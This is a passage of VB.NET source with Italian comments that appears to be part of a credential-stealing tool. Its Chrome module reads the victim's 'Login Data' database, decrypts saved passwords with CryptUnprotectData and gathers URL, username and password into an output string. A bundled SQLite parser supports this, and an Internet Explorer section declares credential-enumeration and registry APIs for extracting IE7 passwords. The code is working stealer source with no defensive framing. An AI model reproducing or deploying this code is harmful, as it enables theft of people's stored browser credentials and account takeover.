  678. End If
  679. Return lstrlen(ptr)
  680. End Function
  681. End Class
  682. End Module
  683. #End Region
  684. #Region "Chrome"
  685. Module Chrome
  686. Sub Gchrome()
  687. ' OL += vbNewLine & "###Chrome" & vbNewLine
  688. Try
  689. Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"
  690. Dim SQLDatabase = New SQLiteHandler(datapath)
  691. SQLDatabase.ReadTable("logins")
  692. If File.Exists(datapath) Then
  693. Dim host, user, pass As String
  694. For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  695. host = SQLDatabase.GetValue(i, "origin_url")
  696. user = SQLDatabase.GetValue(i, "username_value")
  697. pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))
  698. If (user <> "") And (pass <> "") Then
  699. OL += "|URL| " & host & vbNewLine & "|USR| " & user & vbNewLine & "|PWD| " & pass & vbNewLine
  700. End If
  701. Next
  702. End If
  703. Catch ex As Exception
  704. End Try
  705. End Sub
  706. <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  707. Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  708. End Function
  709. <Flags()> Enum CryptProtectPromptFlags
  710. CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  711. CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  712. End Enum
  713. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  714. Public cbSize As Integer
  715. Public dwPromptFlags As CryptProtectPromptFlags
  716. Public hwndApp As IntPtr
  717. Public szPrompt As String
  718. End Structure
  719. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  720. Public cbData As Integer
  721. Public pbData As IntPtr
  722. End Structure
  723. Function Decrypt(ByVal Datas() As Byte) As String
  724. Dim inj, Ors As New DATA_BLOB
  725. Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  726. inj.pbData = Ghandle.AddrOfPinnedObject()
  727. inj.cbData = Datas.Length
  728. Ghandle.Free()
  729. CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  730. Dim Returned() As Byte = New Byte(Ors.cbData) {}
  731. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  732. Dim TheString As String = Encoding.Default.GetString(Returned)
  733. Return TheString.Substring(0, TheString.Length - 1)
  734. End Function
  735. End Module
  736. Public Class SQLiteHandler
  737. Private db_bytes() As Byte
  738. Private page_size As UInt16
  739. Private encoding As UInt64
  740. Private master_table_entries() As sqlite_master_entry
  741. Private SQLDataTypeSize() As Byte = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
  742. Private table_entries() As table_entry
  743. Private field_names() As String
  744. Private Structure record_header_field
  745. Dim size As Int64
  746. Dim type As Int64
  747. End Structure
  748. Private Structure table_entry
  749. Dim row_id As Int64
  750. Dim content() As String
  751. End Structure
  752. Private Structure sqlite_master_entry
  753. Dim row_id As Int64
  754. Dim item_type As String
  755. Dim item_name As String
  756. Dim astable_name As String
  757. Dim root_num As Int64
  758. Dim sql_statement As String
  759. End Structure
  760. Private Function ToBigEndian16Bit(ByVal value As UInt16) As UInt16
  761. Return ((value And &HFF) << 8 Or (value And &HFF00) >> 8)
  762. End Function
  763. Private Function ToBigEndian32Bit(ByVal value As UInt32) As UInt32
  764. Return (value And &HFF) << 24 Or (value And &HFF00) << 8 Or (value And &HFF0000) >> 8 Or (value And &HFF000000) >> 24
  765. End Function
  766. Private Function ToBigEndian64Bit(ByVal value As UInt64) As UInt64
  767. Return (value And &HFFL) << 56 Or (value And &HFF00L) << 40 Or (value And &HFF0000L) << 24 Or (value And &HFF000000L) << 8 Or (value And &HFF00000000L) >> 8 Or (value And &HFF0000000000L) >> 24 Or (value And &HFF000000000000L) >> 40 Or (value And &HFF00000000000000L) >> 56
  768. End Function
  769. 'Needs BigEndian
  770. 'GetVariableLength
  771. ' ritorno di endindex per la variabile length integer
  772. Private Function GVL(ByVal startIndex As Integer) As Integer
  773. If startIndex > db_bytes.Length Then Return Nothing
  774. For i = startIndex To startIndex + 8 Step 1
  775. If i > db_bytes.Length - 1 Then
  776. Return Nothing
  777. ElseIf (db_bytes(i) And &H80) <> &H80 Then
  778. Return i
  779. End If
  780. Next
  781. Return startIndex + 8
  782. End Function
  783. Private Function CVL(ByVal startIndex As Integer, ByVal endIndex As Integer) As Int64
  784. endIndex = endIndex + 1
  785. Dim retus(7) As Byte
  786. Dim Length = endIndex - startIndex
  787. Dim Bit64 As Boolean = False
  788. If Length = 0 Or Length > 9 Then Return Nothing
  789. If Length = 1 Then
  790. retus(0) = (db_bytes(startIndex) And &H7F)
  791. Return BitConverter.ToInt64(retus, 0)
  792. End If
  793. If Length = 9 Then
  794. Bit64 = True
  795. End If
  796. Dim j As Integer = 1
  797. Dim k As Integer = 7
  798. Dim y As Integer = 0
  799. If Bit64 Then
  800. retus(0) = db_bytes(endIndex - 1)
  801. endIndex = endIndex - 1
  802. y = 1
  803. End If
  804. For i = (endIndex - 1) To startIndex Step -1
  805. If (i - 1) >= startIndex Then
  806. retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j)) Or (db_bytes(i - 1) << k)
  807. j = j + 1
  808. y = y + 1
  809. k = k - 1
  810. Else
  811. If Not Bit64 Then retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j))
  812. End If
  813. Next
  814. Return BitConverter.ToInt64(retus, 0)
  815. End Function
  816.  
  817. Private Function IsOdd(ByVal value As Int64) As Boolean
  818. Return (value And 1) = 1
  819. End Function
  820.  
  821. Private Function ConvertToInteger(ByVal startIndex As Integer, ByVal Size As Integer) As UInt64
  822. If Size > 8 Or Size = 0 Then Return Nothing
  823. Dim retVal As UInt64 = 0
  824. For i = 0 To Size - 1 Step 1
  825. retVal = ((retVal << 8) Or db_bytes(startIndex + i))
  826. Next
  827. Return retVal
  828. End Function
  829. Private Sub ReadMasterTable(ByVal Offset As UInt64)
  830. If db_bytes(Offset) = &HD Then 'ancora nodi per attacco
  831.  
  832. Dim Length As UInt16 = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, Offset + 3)) - 1
  833. Dim ol As Integer = 0
  834. If Not master_table_entries Is Nothing Then
  835. ol = (master_table_entries.Length - 1)
  836. ReDim Preserve master_table_entries((master_table_entries.Length - 1) + Length)
  837. Else
  838. ReDim master_table_entries(Length)
  839. End If
  840. Dim ent_offset As UInt64
  841. For i = 0 To Length Step 1
  842. ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, Offset + 8 + (i * 2)))
  843. If Offset <> 100 Then ent_offset = ent_offset + Offset
  844. Dim t = GVL(ent_offset)
  845. Dim size As Int64 = CVL(ent_offset, t)
  846. Dim s = GVL(ent_offset + (t - ent_offset) + 1)
  847. master_table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s)
  848. ent_offset = ent_offset + (s - ent_offset) + 1
  849. 'Bisogna spostarsi in Record Header
  850. t = GVL(ent_offset)
  851. s = t
  852. Dim Rec_Header_Size As Int64 = CVL(ent_offset, t) 'Record Header Length
  853. Dim Field_Size(4) As Int64
  854. 'Ora otteniamo le dimensioni del campo e inseriamo i valori
  855. For j = 0 To 4 Step 1
  856. t = s + 1
  857. s = GVL(t)
  858. Field_Size(j) = CVL(t, s)
  859. If Field_Size(j) > 9 Then
  860. If IsOdd(Field_Size(j)) Then
  861. Field_Size(j) = (Field_Size(j) - 13) / 2
  862. Else
  863. Field_Size(j) = (Field_Size(j) - 12) / 2
  864. End If
  865. Else
  866. Field_Size(j) = SQLDataTypeSize(Field_Size(j))
  867. End If
  868. Next
  869. ' Andremo a leggere solo le cose essenziali
  870. If encoding = 1 Then
  871. master_table_entries(ol + i).item_type = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  872. ElseIf encoding = 2 Then
  873. master_table_entries(ol + i).item_type = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  874. ElseIf encoding = 3 Then
  875. master_table_entries(ol + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  876. End If
  877. If encoding = 1 Then
  878. master_table_entries(ol + i).item_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  879. ElseIf encoding = 2 Then
  880. master_table_entries(ol + i).item_name = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  881. ElseIf encoding = 3 Then
  882. master_table_entries(ol + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  883. End If
  884. 'master_table_entries(ol + i).astable_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1), Field_Size(2))
  885. master_table_entries(ol + i).root_num = ConvertToInteger(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2), Field_Size(3))
  886. If encoding = 1 Then
  887. master_table_entries(ol + i).sql_statement = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  888. ElseIf encoding = 2 Then
  889. master_table_entries(ol + i).sql_statement = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  890. ElseIf encoding = 3 Then
  891. master_table_entries(ol + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  892. End If
  893. Next
  894. ElseIf db_bytes(Offset) = &H5 Then 'nodo interno
  895. Dim Length As UInt16 = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, Offset + 3)) - 1
  896. Dim ent_offset As UInt16
  897. For i = 0 To Length Step 1
  898. ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, Offset + 12 + (i * 2)))
  899. If Offset = 100 Then
  900. ReadMasterTable((ConvertToInteger(ent_offset, 4) - 1) * page_size)
  901. Else
  902. ReadMasterTable((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size)
  903. End If
  904. Next
  905. ReadMasterTable((ConvertToInteger(Offset + 8, 4) - 1) * page_size)
  906. End If
  907. End Sub
  908. Private Function ReadTableFromOffset(ByVal Offset As UInt64) As Boolean
  909. If db_bytes(Offset) = &HD Then 'nodo del foglio
  910. 'Per impostare la lunghezza della matrice per le voci
  911. Dim Length As UInt16 = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, Offset + 3)) - 1
  912. Dim ol As Integer = 0
  913. If Not table_entries Is Nothing Then
  914. ol = table_entries.Length - 1
  915. ReDim Preserve table_entries((table_entries.Length - 1) + Length)
  916. Else
  917. ReDim table_entries(Length)
  918. End If
  919. Dim ent_offset As UInt64
  920. For i = 0 To Length Step 1
  921. ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, Offset + 8 + (i * 2)))
  922. If Offset <> 100 Then ent_offset = ent_offset + Offset
  923. 'Leggiamo le tabelle con celle
  924. Dim t = GVL(ent_offset)
  925. Dim size As Int64 = CVL(ent_offset, t)
  926. Dim s = GVL(ent_offset + (t - ent_offset) + 1)
  927. table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s)
  928. 'Contenuti tavole
  929. 'Resettiamo offset
  930. ent_offset = ent_offset + (s - ent_offset) + 1
  931. 'Torniamo di nuovo in Record Header
  932. t = GVL(ent_offset)
  933. s = t
  934. Dim Rec_Header_Size As Int64 = CVL(ent_offset, t) 'Record Header Length
  935. Dim Field_Size() As record_header_field
  936. Dim size_read As Int64 = (ent_offset - t) + 1
  937. Dim j = 0
  938. 'Ora otteniamo le dimensioni del campo e inseriamo i valori
  939. While size_read < Rec_Header_Size
  940. ReDim Preserve Field_Size(j)
  941. t = s + 1
  942. s = GVL(t)
  943. Field_Size(j).type = CVL(t, s)
  944. If Field_Size(j).type > 9 Then
  945. If IsOdd(Field_Size(j).type) Then
  946. Field_Size(j).size = (Field_Size(j).type - 13) / 2
  947. Else
  948. Field_Size(j).size = (Field_Size(j).type - 12) / 2
  949. End If
  950. Else
  951. Field_Size(j).size = SQLDataTypeSize(Field_Size(j).type)
  952. End If
  953. size_read = size_read + (s - t) + 1
  954. j = j + 1
  955. End While
  956. ReDim table_entries(ol + i).content(Field_Size.Length - 1)
  957. Dim counter As Integer = 0
  958. For k = 0 To Field_Size.Length - 1 Step 1
  959. If Field_Size(k).type > 9 Then
  960. If Not IsOdd(Field_Size(k).type) Then
  961. If encoding = 1 Then
  962. table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  963. ElseIf encoding = 2 Then
  964. table_entries(ol + i).content(k) = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  965. ElseIf encoding = 3 Then
  966. table_entries(ol + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  967. End If
  968. Else
  969. table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  970. End If
  971. Else
  972. table_entries(ol + i).content(k) = CStr(ConvertToInteger(ent_offset + Rec_Header_Size + counter, Field_Size(k).size))
  973. End If
  974. counter = counter + Field_Size(k).size
  975. Next
  976. Next
  977. ElseIf db_bytes(Offset) = &H5 Then 'nodo interno
  978. Dim Length As UInt16 = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, Offset + 3)) - 1
  979. Dim ent_offset As UInt16
  980. For i = 0 To Length Step 1
  981. ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, Offset + 12 + (i * 2)))
  982. ReadTableFromOffset((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size)
  983. Next
  984. ReadTableFromOffset((ConvertToInteger(Offset + 8, 4) - 1) * page_size)
  985. End If
  986. Return True
  987. End Function
  988. ' Leggiamo la tabella completa con tutte le voci dentro
  989. Public Function ReadTable(ByVal TableName As String) As Boolean
  990. ' Primo ciclo attraverso sqlite_master e vediamo se esiste una tabella
  991. Dim found As Integer = -1
  992. For i = 0 To master_table_entries.Length Step 1
  993. If master_table_entries(i).item_name.ToLower().CompareTo(TableName.ToLower()) = 0 Then
  994. found = i
  995. Exit For
  996. End If
  997. Next
  998. If found = -1 Then Return False
  999. Dim fields() = master_table_entries(found).sql_statement.Substring(master_table_entries(found).sql_statement.IndexOf("(") + 1).Split(",")
  1000. For i = 0 To fields.Length - 1 Step 1
  1001. fields(i) = LTrim(fields(i))
  1002. Dim index = fields(i).IndexOf(" ")
  1003. If index > 0 Then fields(i) = fields(i).Substring(0, index)
  1004. If fields(i).IndexOf("UNIQUE") = 0 Then
  1005. Exit For
  1006. Else
  1007. ReDim Preserve field_names(i)
  1008. field_names(i) = fields(i)
  1009. End If
  1010. Next
  1011. Return ReadTableFromOffset((master_table_entries(found).root_num - 1) * page_size)
  1012. End Function
  1013. ' Ritorniamo al conteggio delle righe della tabella corrente
  1014. Public Function GetRowCount() As Integer
  1015. Return table_entries.Length
  1016. End Function
  1017. ' Restituiamo un valore dalla tabella corrente nella riga row_num con field number field
  1018. Public Function GetValue(ByVal row_num As Integer, ByVal field As Integer) As String
  1019. If row_num >= table_entries.Length Then Return Nothing
  1020. If field >= table_entries(row_num).content.Length Then Return Nothing
  1021. Return table_entries(row_num).content(field)
  1022. End Function
  1023. ' Restituisce un valore dalla tabella corrente nella riga row_num con field name field
  1024. Public Function GetValue(ByVal row_num As Integer, ByVal field As String) As String
  1025. Dim found As Integer = -1
  1026. For i = 0 To field_names.Length Step 1
  1027. If field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then
  1028. found = i
  1029. Exit For
  1030. End If
  1031. Next
  1032. If found = -1 Then Return Nothing
  1033. Return GetValue(row_num, found)
  1034. End Function
  1035. ' Ritorno in String-Array con tutte le Tablenames
  1036. Public Function GetTableNames() As String()
  1037. Dim retVal As String()
  1038. Dim arr = 0
  1039. For i = 0 To master_table_entries.Length - 1 Step 1
  1040. If master_table_entries(i).item_type = "table" Then
  1041. ReDim Preserve retVal(arr)
  1042. retVal(arr) = master_table_entries(i).item_name
  1043. arr = arr + 1
  1044. End If
  1045. Next
  1046. Return retVal
  1047. End Function
  1048. ' Costruttori
  1049. Public Sub New(ByVal baseName As String)
  1050. 'Page Number n is page_size*(n-1)
  1051. If File.Exists(baseName) Then
  1052. FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  1053. Dim asi As String = Space(LOF(1))
  1054. FileGet(1, asi)
  1055. FileClose(1)
  1056. db_bytes = System.Text.Encoding.Default.GetBytes(asi)
  1057. If System.Text.Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") <> 0 Then
  1058. ' Throw New Exception("Non è un file database SQLite 3 valido")
  1059. Exit Sub
  1060. End If
  1061. If db_bytes(52) <> 0 Then
  1062. ' Throw New Exception("Database in grado di auto-vuoto non è supportato")
  1063. Exit Sub
  1064. ElseIf ToBigEndian32Bit(BitConverter.ToInt32(db_bytes, 44)) >= 4 Then
  1065. ' Throw New Exception("Nessun file-formato di strato Schema supportato")
  1066. Exit Sub
  1067. End If
  1068. page_size = ConvertToInteger(16, 2)
  1069. encoding = ConvertToInteger(56, 4)
  1070. If encoding = 0 Then encoding = 1
  1071. 'Ora leggiamo le sqlite_master table
  1072. 'Offset è 100 in prima pagina
  1073. ReadMasterTable(100)
  1074. End If
  1075. End Sub
  1076. End Class
  1077. #End Region
  1078. #Region "IE"
  1079. Friend Class CIE7Passwords
  1080. Private Const ERROR_CACHE_FIND_FAIL As Integer = 0
  1081. Private Const ERROR_CACHE_FIND_SUCCESS As Integer = 1
  1082. Private Const MAX_PATH As Integer = 260
  1083. Private Const MAX_CACHE_ENTRY_INFO_SIZE As Integer = 4096
  1084. Private Const NORMAL_CACHE_ENTRY As Integer = &H1S
  1085. Private Const URLHISTORY_CACHE_ENTRY As Integer = &H200000
  1086. Private Structure SYSTEMTIME
  1087. Dim wYear As Short
  1088. Dim wMonth As Short
  1089. Dim wDayOfWeek As Short
  1090. Dim wDay As Short
  1091. Dim wHour As Short
  1092. Dim wMinute As Short
  1093. Dim wSecond As Short
  1094. Dim wMilliseconds As Short
  1095. End Structure
  1096. Private Structure INTERNET_CACHE_ENTRY_INFO
  1097. Dim dwStructSize As Integer
  1098. Dim lpszSourceUrlName As Integer
  1099. Dim lpszLocalFileName As Integer
  1100. Dim CacheEntryType As Integer
  1101. Dim dwUseCount As Integer
  1102. Dim dwHitRate As Integer
  1103. Dim dwSizeLow As Integer
  1104. Dim dwSizeHigh As Integer
  1105. Dim LastModifiedTime As FILETIME
  1106. Dim ExpireTime As FILETIME
  1107. Dim LastAccessTime As FILETIME
  1108. Dim LastSyncTime As FILETIME
  1109. Dim lpHeaderInfo As Integer
  1110. Dim dwHeaderInfoSize As Integer
  1111. Dim lpszFileExtension As Integer
  1112. Dim dwExemptDelta As Integer
  1113. End Structure
  1114. Private Declare Function FindFirstUrlCacheEntry Lib "wininet.dll" Alias "FindFirstUrlCacheEntryA" (ByVal lpszUrlSearchPattern As String, ByVal lpFirstCacheEntryInfo As IntPtr, ByRef lpdwFirstCacheEntryInfoBufferSize As Integer) As Integer
  1115. Private Declare Function FindNextUrlCacheEntry Lib "wininet.dll" Alias "FindNextUrlCacheEntryA" (ByVal hEnum As Integer, ByVal lpFirstCacheEntryInfo As IntPtr, ByRef lpdwFirstCacheEntryInfoBufferSize As Integer) As Integer
  1116. Private Declare Function FindCloseUrlCache Lib "wininet.dll" (ByVal hEnumHandle As Integer) As Integer
  1117. Private Declare Function lstrlenA Lib "kernel32.dll" (ByVal lpString As IntPtr) As Integer
  1118. Private Declare Function lstrcpyA Lib "kernel32.dll" (ByVal RetVal As String, ByVal ptr As Integer) As Integer
  1119. Private Const PROV_RSA_FULL As Integer = 1
  1120. Private Const ALG_CLASS_HASH As Integer = (4 * CLng(2 ^ 13))
  1121. Private Const ALG_TYPE_ANY As Integer = 0
  1122. Private Const ALG_SID_SHA As Integer = 4
  1123. Private Const CALG_SHA As Integer = (ALG_CLASS_HASH Or ALG_TYPE_ANY Or ALG_SID_SHA)
  1124. Private Const AT_SIGNATURE As Integer = 2
  1125. Private Declare Function CryptAcquireContext Lib "advapi32.dll" Alias "CryptAcquireContextA" (ByRef phProv As Integer, ByVal pszContainer As Integer, ByVal pszProvider As String, ByVal dwProvType As Integer, ByVal dwFlags As Integer) As Integer
  1126. Private Declare Function CryptCreateHash Lib "advapi32.dll" (ByVal hProv As Integer, ByVal Algid As Integer, ByVal hKey As Integer, ByVal dwFlags As Integer, ByRef phHash As Integer) As Integer
  1127. Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Integer, ByVal pbData As IntPtr, ByVal dwDataLen As Integer, ByVal dwFlags As Integer) As Integer
  1128. Private Const HP_HASHVAL As Integer = &H2S
  1129. Private Declare Function CryptGetHashParam Lib "advapi32.dll" (ByVal hHash As Integer, ByVal dwParam As Integer, ByVal pByte As IntPtr, ByRef pdwDataLen As Integer, ByVal dwFlags As Integer) As Integer
  1130. Private Declare Function CryptGetHashParam Lib "advapi32.dll" (ByVal hHash As Integer, ByVal dwParam As Integer, <MarshalAs(UnmanagedType.LPArray)> ByRef pByte() As Byte, ByRef pdwDataLen As Integer, ByVal dwFlags As Integer) As Integer
  1131. Private Declare Function CryptSignHash Lib "advapi32.dll" Alias "CryptSignHashA" (ByVal hHash As Integer, ByVal dwKeySpec As Integer, ByVal sDescription As Integer, ByVal dwFlags As Integer, ByVal pbSignature As Integer, ByRef pdwSigLen As Integer) As Integer
  1132. Private Declare Function CryptDestroyHash Lib "advapi32.dll" (ByVal hHash As Integer) As Integer
  1133. Private Declare Function CryptReleaseContext Lib "advapi32.dll" (ByVal hProv As Integer, ByVal dwFlags As Integer) As Integer
  1134. Private Const READ_CONTROL As Integer = &H20000
  1135. Private Const STANDARD_RIGHTS_READ As Integer = (READ_CONTROL)
  1136. Private Const KEY_QUERY_VALUE As Integer = &H1S
  1137. Private Const KEY_ENUMERATE_SUB_KEYS As Integer = &H8S
  1138. Private Const KEY_NOTIFY As Integer = &H10S
  1139. Private Const SYNCHRONIZE As Integer = &H100000
  1140. Private Const STANDARD_RIGHTS_WRITE As Integer = (READ_CONTROL)
  1141. Private Const KEY_SET_VALUE As Integer = &H2S
  1142. Private Const KEY_CREATE_SUB_KEY As Integer = &H4S
  1143. Private Const KEY_READ As Integer = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
  1144. Private Const KEY_WRITE As Integer = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
  1145. Private Const HKEY_CURRENT_USER As Integer = &H80000001
  1146. Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Integer, ByVal lpSubKey As String, ByVal ulOptions As Integer, ByVal samDesired As Integer, ByRef phkResult As Integer) As Integer
  1147. Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Integer, ByVal lpValueName As String, ByVal lpReserved As Integer, ByRef lpType As Integer, ByVal lpData As IntPtr, ByRef lpcbData As Integer) As Integer
  1148. Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Integer, ByVal lpValueName As String) As Integer
  1149. Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Integer) As Integer
  1150. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Integer) As Integer
  1151. Private Structure DATA_BLOB
  1152. Dim cbData As Integer
  1153. Dim pbData As Integer
  1154. End Structure
  1155. Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal pOptionalEntropy As IntPtr, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Integer
  1156. Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Integer
  1157. Private Structure StringIndexHeader
  1158. Dim dwWICK As Integer 'sembra essere una firma della struttura che possiamo trovare : "WICK"
  1159. Dim dwStructSize As Integer 'dimensione della struttura dell'intestazione (&h18)
  1160. Dim dwEntriesCount As Integer 'numero di voci seguendo la struttura
  1161. Dim dwUnkId As Integer 'sembra essere un dato ID
  1162. Dim dwType As Integer 'sembra essere il tipo di dati :
  1163. Dim dwUnk As Integer 'potrebbe essere una posizione nella struttura a un puntatore alla prima voce seguendo questa struttura
  1164. End Structure
  1165. Private Structure StringIndexEntry
  1166. Dim dwDataOffset As Integer 'offset dall'inizio dei dati StringData
  1167. Dim ftInsertDateTime As FILETIME 'i dati aggiunti nell'elenco alla maschera o al campo di data
  1168. Dim dwDataSize As Integer ' otteniamo i dati per il campo o la forma
  1169. End Structure
  1170. Private Enum CRED_TYPE
  1171. GENERIC = 1
  1172. DOMAIN_PASSWORD
  1173. DOMAIN_CERTIFICATE
  1174. DOMAIN_VISIBLE_PASSWORD
  1175. MAXIMUM
  1176. End Enum
  1177. Private Structure CREDENTIAL_ATTRIBUTE
  1178. Dim lpstrKeyword As Integer
  1179. Dim dwFlags As Integer
  1180. Dim dwValueSize As Integer
  1181. Dim lpbValue As Integer
  1182. End Structure
  1183. Private Structure CREDENTIAL
  1184. Dim dwFlags As Integer
  1185. Dim dwType As Integer
  1186. Dim lpstrTargetName As Integer
  1187. Dim lpstrComment As Integer
  1188. Dim ftLastWritten As FILETIME
  1189. Dim dwCredentialBlobSize As Integer
  1190. Dim lpbCredentialBlob As Integer
  1191. Dim dwPersist As Integer
  1192. Dim dwAttributeCount As Integer
  1193. Dim lpAttributes As Integer 'PCREDENTIAL_ATTRIBUTE
  1194. Dim lpstrTargetAlias As Integer
  1195. Dim lpUserName As Integer
  1196. End Structure
  1197. Private Declare Function CredEnumerate Lib "advapi32.dll" Alias "CredEnumerateW" (<MarshalAs(UnmanagedType.LPWStr)> ByVal lpszFilter As String, ByVal lFlags As Integer, ByRef pCount As Integer, ByRef lppCredentials As Integer) As Integer
  1198. Private Declare Function CredDelete Lib "advapi32.dll" Alias "CredDeleteW" (<MarshalAs(UnmanagedType.LPWStr)> ByVal lpwstrTargetName As String, ByVal dwType As Integer, ByVal dwFlags As Integer) As Integer
  1199. Private Declare Function CredFree Lib "advapi32.dll" (ByVal pBuffer As Integer) As Integer
  1200. Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Integer) As String
  1201. Private Function GetStrFromPtrA(ByVal lpszA As IntPtr) As String
  1202. Return Marshal.PtrToStringAnsi(lpszA)
  1203. End Function
  1204. Private Function CheckSum(ByRef s As String) As Byte
  1205. Dim i As Integer
  1206. Dim sum As Integer
  1207. sum = 0
  1208. For i = 1 To Len(s) Step 2
  1209. sum = sum + CInt(Val("&H" & Mid(s, i, 2)))
  1210. Next
  1211. CheckSum = CByte(sum Mod 256)
  1212. End Function
  1213. Private Function GetSHA1Hash(ByRef pbData() As Byte) As String
  1214. Dim buff() As Byte
  1215. Dim i As Integer
  1216. ReDim Preserve pbData(pbData.Length + 1)
  1217. buff = System.Security.Cryptography.SHA1.Create().ComputeHash(pbData)
  1218. GetSHA1Hash = ""
  1219. For i = 0 To buff.Length - 1
  1220. GetSHA1Hash = GetSHA1Hash & Right("00" & Hex(buff(i)), 2)
  1221. Next
  1222. End Function
  1223. Private Sub ProcessIEPass(ByVal strURL As String, ByVal strHash As String, ByVal dataOut As DATA_BLOB)
  1224. Dim k As Integer 'index
  1225. Dim ptrData, ptrEntry As IntPtr
  1226. Dim hIndex As StringIndexHeader
  1227. Dim cbhIndex, cbentry As Integer
  1228. Dim eIndex As StringIndexEntry
  1229. Dim strUserName, strPasswd As String
  1230. Dim ptr As IntPtr
  1231. cbentry = Len(eIndex)
  1232. cbhIndex = Len(hIndex)
  1233. ptr = New IntPtr(dataOut.pbData + Marshal.ReadByte(New IntPtr(dataOut.pbData)))
  1234. hIndex = CType(Marshal.PtrToStructure(ptr, hIndex.GetType()), StringIndexHeader)
  1235. If hIndex.dwType = 1 Then 'passwd
  1236. If hIndex.dwEntriesCount >= 2 Then
  1237. ptrEntry = New IntPtr(ptr.ToInt32 + hIndex.dwStructSize)
